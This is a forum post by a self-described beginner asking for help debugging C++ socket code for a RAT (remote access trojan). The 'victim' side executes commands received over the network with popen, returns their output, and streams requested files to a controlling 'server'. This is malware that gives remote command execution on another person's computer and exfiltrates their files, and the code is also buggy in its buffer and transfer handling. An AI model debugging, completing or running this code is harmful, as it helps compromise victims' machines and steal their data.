Thread: problem with output transfer over socket

I am new to C++ Socket coding, in fact this is my first socket program. I tried to code a RAT, to view the files of the connected computer & transfer the selected file. It runs through 2-4 cycles( send the command & receive the output) , but gets stuck after that, while on a connected computer, it gets stuck after the first cycle only. I tried to transfer multiple files over network & it worked properly for a limited size file, while for larger file sizes, it gets stuck. Please help me with this. Here are the relevant snippets from the code:
SendData():

Code:

bool Socket::SendData(char *buffer)
{
     if(!strcmp(buffer,"exit"))
     {
                             closeconnection();
                             return TRUE;
     }
     else
     {
         send(msocket,buffer,strlen(buffer),0);
         return TRUE;
     }
}

Receive command on victim syd:

Code:

void Socket::RecvData(char *buff,int size)
{
     cout<<"came here"<<endl;
     int i=recv(msocket,buff,size,0);
     buff[i]='\0';
     //cout<<i<<endl;
     int l=0;
     if(!strcmp(buff,"exit"))
     {
                               //shutdown(msocket,0);
                               WSACleanup();
                               //msocket=backup;
                               memset(buff,0,sizeof(buff));
                               cout<<"m exiting too yahan bhi ukhaad sakta h to ukhaad le"<<endl;
                               system("pause");
                               exit(0);
     }
     while((buff[l]!='\0')&&(buff[l]!='.'))
     {
                                           //cout<<"bht hua"<<endl;
                                           l++;
     }
     if(buff[l]=='.')
     {
                     FILE *open=fopen(buff,"rb");
                     //system("pause");
                     if(open==NULL){cout<<"file error"<<endl; SendData("DONE");}
                     char line[200];
                     //char tosend[1];
                     //int c;
                     system("pause");
                     //while((c=getc(open))!=EOF)
                     //{
                     //                        tosend[0]=c;
                     //                        cout<<tosend[0];
                     //                  send(msocket,tosend,1,0);
                     while(!feof(open))
                     {
                                                 fgets(line,200,open);
                                                 send(msocket,line,sizeof(line),0);
                                                 cout<<line<<endl;
                     
                     }//send(msocket,'\0',1,0);
                     cout<<"file transfer complete"<<endl;
                     SendData("DONE");
                     fclose(open);
                     //exit(1);
                     system("pause");
     }
     else
     {
         cout<<buff<<endl;
         char line[200];
         FILE *fp=popen(buff,"r");
         if(fp==NULL) printf("file error");
         while(fgets(line,sizeof(line),fp))
         {
                                                 cout<<"in loop"<<endl;
                                                 //cout<<line<<endl;
                                                 SendData(line);
         }
         SendData("DONE");
         cout<<"out of loop"<<endl;
         //fflush(stdout);
         //fflush(stdin);
         //memset(buff,0,sizeof(buff));
     }
                                     
}

Receive command output/ file on server syd:

Code:

void ClientSocket::RecvFile(char *buffer,int size)
{
             int i=recv(msocket,buffer,size,0);
             buffer[i]='\0';
             //fflush(stdout);
             //fflush(stdin);
             while(strcmp(buffer,"DONE"))
             {

                        i=recv(msocket,buffer,size,0);
                        buffer[i]='\0';
                        cout<<buffer<<endl;
                        //if(!strcmp(buffer,"DONE"))
                        //                         break;
                        //cout<<strlen(buffer)<<endl;
                        //cout<<"still inn loop"<<endl;
             }
             //msocket.close();
             //fflush(stdout);
             //fflush(stdin);
             cout<<"out of loop"<<endl;
             //memset(buffer,0,sizeof(buffer));
             system("pause");
}
void ClientSocket::RecvFile1(char *file)                                 
{
     char rec[200];
     char ch;
     //recv(msocket,&ch,sizeof(ch),0);
     FILE *filerecv=fopen(file,"wb");
     //char recvbuff[7000];
     //recvbuff[0]=0;
     int i;//=recv(msocket,rec,200,0);
     //rec[i]='\0';
     while(strcmp(rec,"DONE"))
     {
                             
                        i=recv(msocket,rec,200,0);
                        rec[i]='\0';                             
                        cout<<rec<<endl;
                        if(strcmp(rec,"DONE"))
                                              fputs(rec,filerecv);
                        //memset(rec,0,sizeof(rec));
     }
     //msocket.unload();
     /*while((recv(msocket,recvbuff,1,0))!=-1)
     {
                    //recv(msocket,&ch,sizeof(ch),0);
                    //fputc(ch,filerecv);
                    cout<<recvbuff[0];
                    fwrite(recvbuff,sizeof(recvbuff[0]),1,filerecv);
                    recvbuff[0]=0;
     }*/
     cout<<"here 2"<<endl;
     fclose(filerecv);
     cout<<"file transfer complete"<<endl;
     system("pause");
}